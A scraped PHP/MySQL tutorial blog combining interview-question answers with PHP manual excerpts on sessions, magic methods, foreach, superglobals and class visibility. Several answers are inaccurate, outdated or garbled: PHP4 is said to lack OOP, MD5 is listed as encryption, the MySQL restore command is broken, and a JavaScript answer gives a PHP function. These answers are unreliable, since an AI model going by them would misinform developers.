GROUP BY [col1],[col2],...[coln]; Tells DBMS to group (aggregate) results with same value of column col1. You can use COUNT(col1), SUM(col1), AVG(col1) with it, if you want to count all items in group, sum all values or view average.
0 comments
What is meant by MIME?

Answer 1:

MIME is Multipurpose Internet Mail Extensions is an Internet standard for the format of e-mail. However browsers also uses MIME standard to transmit files. MIME has a header which is added to a beginning of the data. When browser sees such header it shows the data as it would be a file (for example image)


Some examples of MIME types:

audio/x-ms-wmp

image/png

aplication/x-shockwave-flash


Answer 2:

Multipurpose Internet Mail Extensions.

WWW's ability to recognize and handle files of different types is largely dependent on the use of the MIME (Multipurpose Internet Mail Extensions) standard. The standard provides for a system of registration of file types with information about the applications needed to process them. This information is incorporated into Web server and browser software, and enables the automatic recognition and display of registered file types. …


How can we know that a session is started or not?

A session starts by session_start() function.

This session_start() is always declared in header portion. it always declares first. then we write session_register().


What are the differences between mysql_fetch_array(), mysql_fetch_object(), mysql_fetch_row()?

Answer 1:

mysql_fetch_array() -> Fetch a result row as a combination of associative array and regular array.

mysql_fetch_object() -> Fetch a result row as an object.

mysql_fetch_row() -> Fetch a result set as a regular array().


Answer 2:

The difference between mysql_fetch_row() and mysql_fetch_array() is that the first returns the results in a numeric array ($row[0], $row[1], etc.), while the latter returns a the results an array containing both numeric and associative keys ($row['name'], $row['email'], etc.). mysql_fetch_object() returns an object ($row->name, $row->email, etc.).


If we login more than one browser windows at the same time with same user and after that we close one window, then is the session is exist to other windows or not? And if yes then why? If no then why?

Session depends on browser. If browser is closed then session is lost. The session data will be deleted after session time out. If connection is lost and you recreate connection, then session will continue in the browser.


What are the MySQL database files stored in system ?

Data is stored in name.myd

Table structure is stored in name.frm

Index is stored in name.myi


What is the difference between PHP4 and PHP5?

PHP4 cannot support oops concepts and Zend engine 1 is used.


PHP5 supports oops concepts and Zend engine 2 is used.

Error supporting is increased in PHP5.

XML and SQLLite will is increased in PHP5.


Can we use include(abc.PHP) two times in a PHP page makeit.PHP”?

Yes we can include that many times we want, but here are some things to make sure of:

(including abc.PHP, the file names are case-sensitive)

there shouldn't be any duplicate function names, means there should not be functions or classes or variables with the same name in abc.PHP and makeit.php


What are the differences between mysql_fetch_array(), mysql_fetch_object(), mysql_fetch_row()?

mysql_fetch_array - Fetch a result row as an associative array and a numeric array.


mysql_fetch_object - Returns an object with properties that correspond to the fetched row and moves the internal data pointer ahead. Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows


mysql_fetch_row() - Fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.


What is meant by nl2br()?

Anwser1:

nl2br() inserts a HTML tag
before all new line characters \n in a string.


How can we encrypt and decrypt a data presented in a table using MySQL?

You can use functions: AES_ENCRYPT() and AES_DECRYPT() like:


AES_ENCRYPT(str, key_str)

AES_DECRYPT(crypt_str, key_str)


How can I retrieve values from one database server and store them in other database server using PHP?

For this purpose, you can first read the data from one server into session variables. Then connect to other server and simply insert the data into the database.


WHO IS THE FATHER OF PHP AND WHAT IS THE CURRENT VERSION OF PHP AND MYSQL?

Rasmus Lerdorf.

PHP 5.1. Beta

MySQL 5.0


IN HOW MANY WAYS WE CAN RETRIEVE DATA IN THE RESULT SET OF MYSQL USING PHP?

mysql_fetch_array - Fetch a result row as an associative array, a numeric array, or both

mysql_fetch_assoc - Fetch a result row as an associative array

mysql_fetch_object - Fetch a result row as an object

mysql_fetch_row —- Get a result row as an enumerated array

Magic Methods

0 comments
The function names __construct, __destruct , __call, __get, __set, __isset, __unset, __sleep, __wakeup, __toString, __set_state, __clone and __autoload are magical in PHP classes. You cannot have functions with these names in any of your classes unless you want the magic functionality associated with them.

__sleep and __wakeup

serialize() checks if your class has a function with the magic name __sleep. If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then NULL is serialized and E_NOTICE is issued.
The intended use of __sleep is to commit pending data or perform similar cleanup tasks. Also, the function is useful if you have very large objects which do not need to be saved completely.
The __sleep method should return the value to serialize (usually $this), otherwise NULL is serialized.
Conversely, unserialize() checks for the presence of a function with the magic name __wakeup. If present, this function can reconstruct any resources that the object may have.
The intended use of __wakeup is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.

Example . Sleep and wakeup

class Connection {
protected $link;
private $server, $username, $password, $db;

public function __construct($server, $username, $password, $db)
{
$this->server = $server;
$this->username = $username;
$this->password = $password;
$this->db = $db;
$this->connect();
}

private function connect()
{
$this->link = mysql_connect($this->server, $this->username, $this->password);
mysql_select_db($this->db, $this->link);
}

public function __sleep()
{
return array('server', 'username', 'password', 'db');
}

public function __wakeup()
{
$this->connect();
}
}
?>

__toString
The __toString method allows a class to decide how it will react when it is converted to a string.

Example. Simple example

// Declare a simple class
class TestClass
{
public $foo;

public function __construct($foo) {
$this->foo = $foo;
}

public function __toString() {
return $this->foo;
}
}

$class = new TestClass('Hello');
echo $class;
?>

The above example will output:

Hello

It is worth noting that before PHP 5.2.0 the __toString method was only called when it was directly combined with echo() or print().

__set_state
This static method is called for classes exported by var_export() since PHP 5.1.0.

The only parameter of this method is an array containing exported properties in the form array('property' => value, ...).

Differences Between PHP 4 and 5

0 comments
Some of the questions in the interview test your understanding of how PHP 5 differs from previous versions. As such, it’s a good idea to be fully aware of at least the major changes that have occurred between the two versions. Almost all the information contained in this appendix has already been covered in the preceding chapters; therefore, we present it here mostly for the sake of convenience, and we do not dwell much on explanations—for more information on any particular topic, you can refer back to the appropriate section of this book, or to the PHP manual.
Language Features
• PHP 5 allows limited type hinting. This allows you to specify that the parameter to a function or class method can only be of a specific class (or one of its subclasses), or an array. However, you may not specify any other scalar types.

• The foreach construct now supports by-reference declaration of the value element.

• A number of new functions, particularly for string and arraymanipulation, has
also been added to the core platform.

Objects

• For all intents and purposes, all objects in PHP 5 are passed by reference.This
means that assigning an object to a variable will not create a copy of the former,
but simply creates another reference to it.

• Constants, aswell as staticmethods and properties, can nowbe definedwithin
the scope of a class.

• Class methods and properties now feature visibility, and can be declared as
public, private or protected. Classes and methods can also be declared as
final to prevent further inheritance.

• Since all objects are assigned by reference, you now need a specialized mechanism
to copy objects. This is provided by the clone construct and the __clone() magic method.
• PHP 5 features unified constructors and destructors—all constructors should
now be named __construct(), and the new __destruct() magic method has been added for object destruction.

• With the addition of interfaces and abstract classes, PHP developers now have
far greater control over how they implement their object-oriented code. Interfaces
can be used to define common APIs, while abstract classes provide models for class implementations that follow a specific blueprint.

• Class definitions can now be loaded on demand by using the __autoload()function.

MagicMethods

A multitude of new “magic” methods has been introduced in PHP 5:

• __get() and __set() are called when accessing or assigning an undefined object
property, while __call() is executed when calling a non-existent method of a class.

• __isset() is called when passing an undefined property to the isset()construct.

• __unset() is called when passing an undefined property to unset().

• __toString() is called when trying to directly echo or print() an object.

• __set_state() is inserted dynamically by var_export() to allow for reinitialization
on execution of var_export()’s output.

Selected New Extensions

• SimpleXML allows easy access to XML data using object and array notation.

• PHP 5 also introduces a DOMXML, DOMXSL and Sablotron replacement in the formof the libxml2-based DOM and XSL extensions.

• The PHP Data Objects (PDO) extension provides a unified database access extension
that allows access to many different types of database systems by using a common interface. PDO is not an abstraction layer—except for prepared queries, it does nothing to abstract the actual database code (SQL), itself.

• The hash extension is a new replacement for the GPLed libmhash; it was added
to the PHP core starting with version 5.1.2. It can produce hashes using many
algorithms, including the familiarMD5and SHA1, aswell as some more secure (albeit slower) algorithms, such as snefru.

• The Standard PHP Library (SPL) provides numerous interfaces that enhance
the way classes interact with the PHP language, including the new Iterator interfaces.

• The new Reflection extension allows for runtime introspection of executing
PHP code.

ErrorManagement

• Classes now support exceptions; the new set_exception_handler() function
allows you to define a script-wide exception handler.

• The E_STRICT error reporting level has been added to the language to emit notices
when legacy or deprecated code is encountered.

Source : Zend PHP 5 Certification Study Guide

Comparison Operators

0 comments
Comparison operators, as their name implies, allow you to compare two values. You may also be interested in viewing the type comparison tables, as they show examples of various type related comparisons.

Table Comparison Operators












Example
Name Result
$a == $b Equal TRUE if $a is equal to $b.
$a === $b Identical TRUE if $a is equal to $b, and they are of the same type. (introduced in PHP 4)
$a != $b Not equal TRUE if $a is not equal to $b.
$a <> $b Not equal TRUE if $a is not equal to $b.
$a !== $b Not identical TRUE if $a is not equal to $b, or they are not of the same type. (introduced in PHP 4)
$a < $b Less than TRUE if $a is strictly less than $b.
$a > $b Greater than TRUE if $a is strictly greater than $b.
$a <= $b Less than or equal to TRUE if $a is less than or equal to $b.
$a >= $b Greater than or equal to TRUE if $a is greater than or equal to $b.


If you compare an integer with a string, the string is converted to a number. If you compare two numerical strings, they are compared as integers. These rules also apply to the switch statement.


var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true

switch ("a") {
case 0:
echo "0";
break;
case "a": // never reached because "a" is already matched with 0
echo "a";
break;
}
?>

source: php manual

xml_parse_into_struct() Function

1 comments
Definition
The xml_parse_into_struct() function parses XML data into an array.

This function parses the XML data into 2 arrays:

Value array - containing the data from the parsed XML
Index array - containing pointers to the location of the values in the Value array
This function returns 1 on success, or 0 on failure.

Syntax
xml_parse_into_struct(parser,xml,value_arr,index_arr)











Parameter
Description

parser Required.
Specifies XML parser to use

xml Required.
Specifies XML data to parse

value_arr Required.
Specifies the target array for the XML data

index_arr Optional.
Specifies the target array for index data


Note: The xml_parse_into_struct() function returns 1 for success and 0 for failure. This is not the same as TRUE and FALSE.

Example
XML File

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

PHP Code

//invalid xml file
$xmlfile = 'test.xml';
$xmlparser = xml_parser_create();// open a file and read data
$fp = fopen($xmlfile, 'r');
$xmldata = fread($fp, 4096);xml_parse_into_struct($xmlparser,$xmldata,$values);xml_parser_free($xmlparser);
print_r($values);
?>

The output of the code above will be:

Array
(
[0] => Array
(
[tag] => NOTE
[type] => open
[level] => 1
[value] =>
)
[1] => Array
(
[tag] => TO
[type] => complete
[level] => 2
[value] => Tove
)
[2] => Array
(
[tag] => NOTE
[value] =>
[type] => cdata
[level] => 1
)
[3] => Array
(
[tag] => FROM
[type] => complete
[level] => 2
[value] => Jani
)
[4] => Array
(
[tag] => NOTE
[value] =>
[type] => cdata
[level] => 1
)
[5] => Array
(
[tag] => HEADING
[type] => complete
[level] => 2
[value] => Reminder
)
[6] => Array
(
[tag] => NOTE
[value] =>
[type] => cdata
[level] => 1
)
[7] => Array
(
[tag] => BODY
[type] => complete
[level] => 2
[value] => Don't forget me this weekend!
)
[8] => Array
(
[tag] => NOTE
[value] =>
[type] => cdata
[level] => 1
)
[9] => Array
(
[tag] => NOTE
[type] => close
[level] => 1
)
)

SOURCE:w3schools.com
0 comments

What are the functions for IMAP?


imap_body - Read the message body

imap_check - Check current mailbox

imap_delete - Mark a message for deletion from current mailbox

imap_mail - Send an email message


 


What are encryption functions in PHP?


CRYPT()

MD5()


What is the difference between htmlentities() and htmlspecialchars()?


htmlspecialchars() - Convert some special characters to HTML entities (Only the most widely used)

htmlentities() - Convert ALL special characters to HTML entities


What is the functionality of the function htmlentities?


htmlentities() - Convert all applicable characters to HTML entities

This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.


How can we get the properties (size, type, width, height) of an image using php image functions?


To know the image size use getimagesize() function

To know the image width use imagesx() function

To know the image height use imagesy() function


How can we increase the execution time of a php script?


By the use of void set_time_limit(int seconds)

Set the number of seconds a script is allowed to run. If this is reached, the script returns a fatal error. The default limit is 30 seconds or, if it exists, the max_execution_time value defined in the php.ini. If seconds is set to zero, no time limit is imposed.



When called, set_time_limit() restarts the timeout counter from zero. In other words, if the timeout is the default 30 seconds, and 25 seconds into script execution a call such as set_time_limit(20) is made, the script will run for a total of 45 seconds before timing out.


HOW CAN WE TAKE A BACKUP OF A MYSQL TABLE AND HOW CAN WE RESTORE IT?


Answer 1:

Create a full backup of your database: shell> mysqldump tab=/path/to/some/dir opt db_name

Or: shell> mysqlhotcopy db_name /path/to/some/dir



The full backup file is just a set of SQL statements, so restoring it is very easy:



shell> mysql "."Executed";





Answer 2:

To backup: BACKUP TABLE tbl_name TO /path/to/backup/directory

' To restore: RESTORE TABLE tbl_name FROM /path/to/backup/directory





mysqldump: Dumping Table Structure and Data



Utility to dump a database or a collection of database for backup or for transferring the data to another SQL server (not necessarily a MySQL server). The dump will contain SQL statements to create the table and/or populate the table.

-t, no-create-info

Don't write table creation information (the CREATE TABLE statement).

-d, no-data

Don't write any row information for the table. This is very useful if you just want to get a dump of the structure for a table!


How to set cookies?


setcookie('variable','value','time')

;

variable - name of the cookie variable

value - value of the cookie variable

time - expiry time

Example: setcookie('Test',$i,time()+3600);



Test - cookie variable name

$i - value of the variable 'Test'

time()+3600 - denotes that the cookie will expire after an one hour


How to reset/destroy a cookie


Reset a cookie by specifying expire time in the past:

Example: setcookie('Test',$i,time()-3600); // already expired time



Reset a cookie by specifying its name only

Example: setcookie('Test');


WHAT TYPES OF IMAGES THAT PHP SUPPORTS?


Using imagetypes() function to find out what types of images are supported in your PHP engine.

imagetypes() - Returns the image types supported.

This function returns a bit-field corresponding to the image formats supported by the version of GD linked into PHP. The following bits are returned, IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP | IMG_XPM.


CHECK IF A VARIABLE IS AN INTEGER IN JAVASCRIPT


var myValue =9.8;

if(parseInt(myValue)== myValue)

alert('Integer');

else

alert('Not an integer');


Tools used for drawing ER diagrams.


Case Studio

Smart Draw


How can I know that a variable is a number or not using a JavaScript?


Answer 1:

bool is_numeric( mixed var)

Returns TRUE if var is a number or a numeric string, FALSE otherwise.



Answer 2:

Definition and Usage

The isNaN() function is used to check if a value is not a number.



Syntax

isNaN(number)



Parameter Description

number Required. The value to be tested


How can we submit from without a submit button?


Trigger the JavaScript code on any event ( like onSelect of drop down list box, onfocus, etc ) document.myform.submit(); This will submit the form.


How many ways can we get the value of current session id?


session_id() returns the session id for the current session.

Classes & Objects In php5

0 comments
class
Every class definition begins with the keyword class, followed by a class name, which can be any name that isn't a reserved word in PHP. Followed by a pair of curly braces, which contains the definition of the classes members and methods. A pseudo-variable, $this is available when a method is called from within an object context. $this is a reference to the calling object (usually the object to which the method belongs, but can be another object, if the method is called statically from the context of a secondary object). This is illustrated in the following examples: Example $this variable in object-oriented language

class A
{
function foo()
{
if (isset($this)) {
echo '$this is defined (';
echo get_class($this);
echo ")\n";
} else {
echo "\$this is not defined.\n";
}
}
}

class B
{
function bar()
{
A::foo();
}
}

$a = new A();
$a->foo();
A::foo();
$b = new B();
$b->bar();
B::bar();
?>

The above example will output:

$this is defined (a)
$this is not defined.
$this is defined (b)
$this is not defined.



Example . Simple Class definition

class SimpleClass
{
// member declaration
public $var = 'a default value';

// method declaration
public function displayVar() {
echo $this->var;
}
}
?>


The default value must be a constant expression, not (for example) a variable, a class member or a function call. Example . Class members' default value

class SimpleClass
{
// invalid member declarations:
public $var1 = 'hello '.'world';
public $var2 = <<hello world
EOD;
public $var3 = 1+2;
public $var4 = self::myStaticMethod();
public $var5 = $myVar;

// valid member declarations:
public $var6 = myConstant;
public $var7 = self::classConstant;
public $var8 = array(true, false);


}
?>



Note: There are some nice functions to handle classes and objects. You might want to take a look at the Class/Object Functions.

new
To create an instance of a class, a new object must be created and assigned to a variable. An object will always be assigned when creating a new object unless the object has a constructor defined that throws an exception on error. Classes should be defined before instantiation (and in some cases this is a requirement).

Example . Creating an instance

$instance = new SimpleClass();
?>


When assigning an already created instance of a class to a new variable, the new variable will access the same instance as the object that was assigned. This behaviour is the same when passing instances to a function. A copy of an already created object can be made by cloning it.

Example . Object Assignment

$assigned = $instance;
$reference =& $instance;

$instance->var = '$assigned will have this value';

$instance = null; // $instance and $reference become null

var_dump($instance);
var_dump($reference);
var_dump($assigned);
?>

The above example will output:

NULL
NULL
object(SimpleClass)#1 (1) {
["var"]=>
string(30) "$assigned will have this value"
}


extends
A class can inherit methods and members of another class by using the extends keyword in the declaration. It is not possible to extend multiple classes, a class can only inherit one base class.

The inherited methods and members can be overridden, unless the parent class has defined a method as final, by redeclaring them within the same name defined in the parent class. It is possible to access the overridden methods or members by referencing them with parent::

Example . Simple Class Inheritance

class ExtendClass extends SimpleClass
{
// Redefine the parent method
function displayVar()
{
echo "Extending class\n";
parent::displayVar();
}
}

$extended = new ExtendClass();
$extended->displayVar();
?>

The above example will output:

Extending class
a default value

foreach loop

0 comments
PHP 4 introduced a foreach construct, much like Perl and some other languages. This simply gives an easy way to iterate over arrays. foreach works only on arrays, and will issue an error when you try to use it on a variable with a different data type or an uninitialized variable. There are two syntaxes; the second is a minor but useful extension of the first:


foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement

The first form loops over the array given by array_expression. On each loop, the value of the current element is assigned to $value and the internal array pointer is advanced by one (so on the next loop, you'll be looking at the next element).

The second form does the same thing, except that the current element's key will be assigned to the variable $key on each loop.
As of PHP 5, it is possible to iterate objects too.

Note: When foreach first starts executing, the internal array pointer is automatically reset to the first element of the array. This means that you do not need to call reset() before a foreach loop.
Note: Unless the array is referenced, foreach operates on a copy of the specified array and not the array itself. Therefore, the array pointer is not modified as with the each() construct, and changes to the array element returned are not reflected in the original array. However, the internal pointer of the original array is advanced with the processing of the array. Assuming the foreach loop runs to completion, the array's internal pointer will be at the end of the array.

As of PHP 5, you can easily modify array's elements by preceding $value with &. This will assign reference instead of copying the value.

$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
$value = $value * 2;
}
// $arr is now array(2, 4, 6, 8)?>


This is possible only if iterated array can be referenced (i.e. is variable).

Note: foreach does not support the ability to suppress error messages using '@'.
You may have noticed that the following are functionally identical:
$arr = array("one", "two", "three");
reset($arr);
while (list(, $value) = each($arr)) {
echo "Value: $value
\n";
}

foreach ($arr as $value) {
echo "Value: $value
\n";
}
?>


The following are also functionally identical:

$arr = array("one", "two", "three");
reset($arr);
while (list($key, $value) = each($arr)) {
echo "Key: $key; Value: $value
\n";
}

foreach ($arr as $key => $value) {
echo "Key: $key; Value: $value
\n";
}
?>

Character Type Functions

0 comments
Introduction
The functions provided by this extension check whether a character or string falls into a certain character class according to the current locale
When called with an integer argument these functions behave exactly like their C counterparts from ctype.h. It means that if you pass an integer smaller than 256 it will use the ASCII value of it to see if it fits in the specified range (digits are in 0x30-0x39). If the number is between -128 and -1 inclusive then 256 will be added and the check will be done on that.
When called with a string argument they will check every character in the string and will only return TRUE if every character in the string matches the requested criteria. When called with an empty string the result will always be TRUE in PHP < 5.1 and FALSE since 5.1.
Passing anything else but a string or integer will return FALSE immediately.
It should be noted that ctype functions are always preferred over regular expressions, and even to some equivalent str_* and is_* functions. This is because of the fact that ctype uses a native C library and thus processes significantly faster.

Requirements
None besides functions from the standard C library which are always available.

Installation
Beginning with PHP 4.2.0 these functions are enabled by default. For older versions you have to configure and compile PHP with --enable-ctype. You can disable ctype support with --disable-ctype.
The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

Note: Builtin support for ctype is available with PHP 4.3.0.

Runtime Configuration
This extension has no configuration directives defined in php.ini.

Resource Types
This extension has no resource types defined.

Predefined Constants
This extension has no constants defined.

functions
ctype_alnum -- Check for alphanumeric character(s)
ctype_alpha -- Check for alphabetic character(s)
ctype_cntrl -- Check for control character(s)
ctype_digit -- Check for numeric character(s)
ctype_graph -- Check for any printable character(s) except space
ctype_lower -- Check for lowercase character(s)
ctype_print -- Check for printable character(s)
ctype_punct -- Check for any printable character which is not whitespace or an alphanumeric character
ctype_space -- Check for whitespace character(s)
ctype_upper -- Check for uppercase character(s)
ctype_xdigit -- Check for character(s) representing a hexadecimal digit

Error Control Operators

0 comments
PHP supports one error control operator: the at sign (@). When prepended to an expression in PHP, any error messages that might be generated by that expression will be ignored.
If the track_errors feature is enabled, any error message generated by the expression will be saved in the variable $php_errormsg. This variable will be overwritten on each error, so check early if you want to use it.

/* Intentional file error */
$my_file = @file ('non_existent_file') or
die ("Failed opening file: error was '$php_errormsg'");

// this works for any expression, not just functions:
$value = @$cache[$key];
// will not issue a notice if the index $key doesn't exist.

?>

Note: The @-operator works only on expressions. A simple rule of thumb is: if you can take the value of something, you can prepend the @ operator to it. For instance, you can prepend it to variables, function and include() calls, constants, and so forth. You cannot prepend it to function or class definitions, or conditional structures such as if and foreach, and so forth.

foreach loop in php

0 comments
PHP 4 introduced a foreach construct, much like Perl and some other languages. This simply gives an easy way to iterate over arrays. foreach works only on arrays, and will issue an error when you try to use it on a variable with a different data type or an uninitialized variable. There are two syntaxes; the second is a minor but useful extension of the first:

foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement


The first form loops over the array given by array_expression. On each loop, the value of the current element is assigned to $value and the internal array pointer is advanced by one (so on the next loop, you'll be looking at the next element).
The second form does the same thing, except that the current element's key will be assigned to the variable $key on each loop.
As of PHP 5, it is possible to iterate objects too.
Note: When foreach first starts executing, the internal array pointer is automatically reset to the first element of the array. This means that you do not need to call reset() before a foreach loop.
Note: Unless the array is referenced, foreach operates on a copy of the specified array and not the array itself. Therefore, the array pointer is not modified as with the each() construct, and changes to the array element returned are not reflected in the original array. However, the internal pointer of the original array is advanced with the processing of the array. Assuming the foreach loop runs to completion, the array's internal pointer will be at the end of the array.

As of PHP 5, you can easily modify array's elements by preceding $value with &. This will assign reference instead of copying the value.


$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
$value = $value * 2;
}
// $arr is now array(2, 4, 6, 8)
?>


This is possible only if iterated array can be referenced (i.e. is variable).
Note: foreach does not support the ability to suppress error messages using '@'.
You may have noticed that the following are functionally identical:

$arr = array("one", "two", "three");
reset($arr);
while (list(, $value) = each($arr)) {
echo "Value: $value
\n";
}

foreach ($arr as $value) {
echo "Value: $value
\n";
}
?>


The following are also functionally identical:

$arr = array("one", "two", "three");
reset($arr);
while (list($key, $value) = each($arr)) {
echo "Key: $key; Value: $value
\n";
}

foreach ($arr as $key => $value) {
echo "Key: $key; Value: $value
\n";
}
?>



Some more examples to demonstrate usages:


/* foreach example value only */

$a = array(1, 2, 3, 17);

foreach ($a as $v) {
echo "Current value of \$a: $v.\n";
}

/* foreach example value (with key printed for illustration) */

$a = array(1, 2, 3, 17);

$i = 0; /* for illustrative purposes only */

foreach ($a as $v) {
echo "\$a[$i] => $v.\n";
$i++;
}

/* foreach example key and value */

$a = array(
"one" => 1,
"two" => 2,
"three" => 3,
"seventeen" => 17
);

foreach ($a as $k => $v) {
echo "\$a[$k] => $v.\n";
}

/* foreach example multi-dimensional arrays */
$a = array();
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";

foreach ($a as $v1) {
foreach ($v1 as $v2) {
echo "$v2\n";
}
}

/* foreach example dynamic arrays */

foreach (array(1, 2, 3, 4, 5) as $v) {
echo "$v\n";
}
?>

mysql_num_rows(PHP 3, PHP 4, PHP 5)

0 comments
mysql_num_rows -- Get number of rows in result

Description
int mysql_num_rows ( resource result )

Retrieves the number of rows from a result set. This command is only valid for statements like SELECT or SHOW that return an actual result set. To retrieve the number of rows affected by a INSERT, UPDATE, REPLACE or DELETE query, use mysql_affected_rows().

Parameters

result
The result resource that is being evaluated. This result comes from a call to mysql_query().


Return Values
The number of rows in a result set on success, or FALSE on failure.

example


$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM table1", $link);
$num_rows = mysql_num_rows($result);

echo "$num_rows Rows\n";

?>

Predefined variables

0 comments
PHP provides a large number of predefined variables to any script which it runs. Many of these variables, however, cannot be fully documented as they are dependent upon which server is running, the version and setup of the server, and other factors. Some of these variables will not be available when PHP is run on the command line.
From version 4.1.0 onward, PHP provides an additional set of predefined arrays containing variables from the web server (if applicable), the environment, and user input. These new arrays are rather special in that they are automatically global--i.e., automatically available in every scope. For this reason, they are often known as "superglobals". (There is no mechanism in PHP for user-defined superglobals.) The superglobals are listed below; Also, you'll notice how the older predefined variables ($HTTP_*_VARS) still exist. As of PHP 5.0.0, the long PHP predefined variable arrays may be disabled with the register_long_arrays directive.
Variable variables: Superglobals cannot be used as variable variables inside functions or class methods.
Note: Even though both the superglobal and HTTP_*_VARS can exist at the same time; they are not identical, so modifying one will not change the other.
If certain variables in variables_order are not set, their appropriate PHP predefined arrays are also left empty.

PHP Superglobals:

$GLOBALS
Contains a reference to every variable which is currently available within the global scope of the script. The keys of this array are the names of the global variables. $GLOBALS has existed since PHP 3.

$_SERVER
Variables set by the web server or otherwise directly related to the execution environment of the current script. Analogous to the old $HTTP_SERVER_VARS array (which is still available, but deprecated).

$_GET
Variables provided to the script via URL query string. Analogous to the old $HTTP_GET_VARS array (which is still available, but deprecated).

$_POST
Variables provided to the script via HTTP POST. Analogous to the old $HTTP_POST_VARS array (which is still available, but deprecated).

$_COOKIE
Variables provided to the script via HTTP cookies. Analogous to the old $HTTP_COOKIE_VARS array (which is still available, but deprecated).

$_FILES
Variables provided to the script via HTTP post file uploads. Analogous to the old $HTTP_POST_FILES array (which is still available, but deprecated).

$_ENV
Variables provided to the script via the environment. Analogous to the old $HTTP_ENV_VARS array (which is still available, but deprecated).

$_REQUEST
Variables provided to the script via the GET, POST, and COOKIE input mechanisms, and which therefore cannot be trusted. The presence and order of variable inclusion in this array is defined according to the PHP variables_order configuration directive.

$_SESSION
Variables which are currently registered to a script's session. Analogous to the old $HTTP_SESSION_VARS array (which is still available, but deprecated).

Magic constants

0 comments
PHP provides a large number of predefined constants to any script which it runs. Many of these constants, however, are created by various extensions, and will only be present when those extensions are available, either via dynamic loading or because they have been compiled in.

There are five magical constants that change depending on where they are used. For example, the value of __LINE__ depends on the line that it's used on in your script. These special constants are case-insensitive and are as follows:


Following are few "magical" PHP constants









NameDescription
__LINE__The current line number of the file.
__FILE__ The full path and filename of the file. If used inside an include, the name of the included file is returned. Since PHP 4.0.2, __FILE__ always contains an absolute path whereas in older versions it contained relative path under some circumstances.
__FUNCTION__ The function name. (Added in PHP 4.3.0) As of PHP 5 this constant returns the function name as it was declared (case-sensitive). In PHP 4 its value is always lowercased.
__CLASS__ The class name. (Added in PHP 4.3.0) As of PHP 5 this constant returns the class name as it was declared (case-sensitive). In PHP 4 its value is always lowercased.
__METHOD__ The class method name. (Added in PHP 5.0.0) The method name is returned as it was declared (case-sensitive).

Functions In php

0 comments
User-defined functions
A function may be defined using syntax such as the following:

Example : Pseudo code to demonstrate function uses

function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
echo "Example function.\n";
return $retval;
}
?>



Any valid PHP code may appear inside a function, even other functions and class definitions.

Function names follow the same rules as other labels in PHP. A valid function name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*.

Tip: You may also want to take a look at the Appendix T.

In PHP 3, functions must be defined before they are referenced. No such requirement exists since PHP 4. Except when a function is conditionally defined such as shown in the two examples below.

When a function is defined in a conditional manner such as the two examples shown. Its definition must be processed prior to being called.

Example : Conditional functions


$makefoo = true;

/* We can't call foo() from here
since it doesn't exist yet,
but we can call bar() */

bar();

if ($makefoo) {
function foo()
{
echo "I don't exist until program execution reaches me.\n";
}
}

/* Now we can safely call foo()
since $makefoo evaluated to true */

if ($makefoo) foo();

function bar()
{
echo "I exist immediately upon program start.\n";
}

?>



Example : Functions within functions

function foo()
{
function bar()
{
echo "I don't exist until foo() is called.\n";
}
}

/* We can't call bar() yet
since it doesn't exist. */

foo();

/* Now we can call bar(),
foo()'s processesing has
made it accessible. */

bar();

?>



All functions and classes in PHP have the global scope - they can be called outside a function even if they were defined inside and vice versa.

PHP does not support function overloading, nor is it possible to undefine or redefine previously-declared functions.

Note: Function names are case-insensitive, though it is usually good form to call functions as they appear in their declaration.

PHP 3 does not support variable numbers of arguments to functions, although default arguments are supported (see Default argument values for more information). Both are supported, as of PHP 4: see Variable-length argument lists and the function references for func_num_args(), func_get_arg(), and func_get_args() for more information.

It is possible to call recursive functions in PHP. However avoid recursive function/method calls with over 100-200 recursion levels as it can smash the stack and cause a termination of the current script. Example 17-4. Recursive functions

function recursion($a)
{
if ($a < 20) {
echo "$a\n";
recursion($a + 1);
}
}
?>

Visibility

0 comments
The visibility of a property or method can be defined by prefixing the declaration with the keywords: public, protected or private. Public declared items can be accessed everywhere. Protected limits access to inherited and parent classes (and to the class that defines the item). Private limits visibility only to the class that defines the item.

Members Visibility

Class members must be defined with public, private, or protected.
Example : Member declaration
/**
* Define MyClass
*/
class MyClass
{
public $public = 'Public';
protected $protected = 'Protected';
private $private = 'Private';

function printHello()
{
echo $this->public;
echo $this->protected;
echo $this->private;
}
}

$obj = new MyClass();
echo $obj->public; // Works
echo $obj->protected; // Fatal Error
echo $obj->private; // Fatal Error
$obj->printHello(); // Shows Public, Protected and Private


/**
* Define MyClass2
*/
class MyClass2 extends MyClass
{
// We can redeclare the public and protected method, but not private
protected $protected = 'Protected2';

function printHello()
{
echo $this->public;
echo $this->protected;
echo $this->private;
}
}

$obj2 = new MyClass2();
echo $obj->public; // Works
echo $obj2->private; // Undefined
echo $obj2->protected; // Fatal Error
$obj2->printHello(); // Shows Public, Protected2, not Private

?>



Note: The PHP 4 method of declaring a variable with the var keyword is still supported for compatibility reasons (as a synonym for the public keyword). In PHP 5 before 5.1.3, its usage would generate an E_STRICT warning.

Method Visibility

Class methods must be defined with public, private, or protected. Methods without any declaration are defined as public.
Example : Method Declaration

/**
* Define MyClass
*/
class MyClass
{
// Contructors must be public
public function __construct() { }

// Declare a public method
public function MyPublic() { }

// Declare a protected method
protected function MyProtected() { }

// Declare a private method
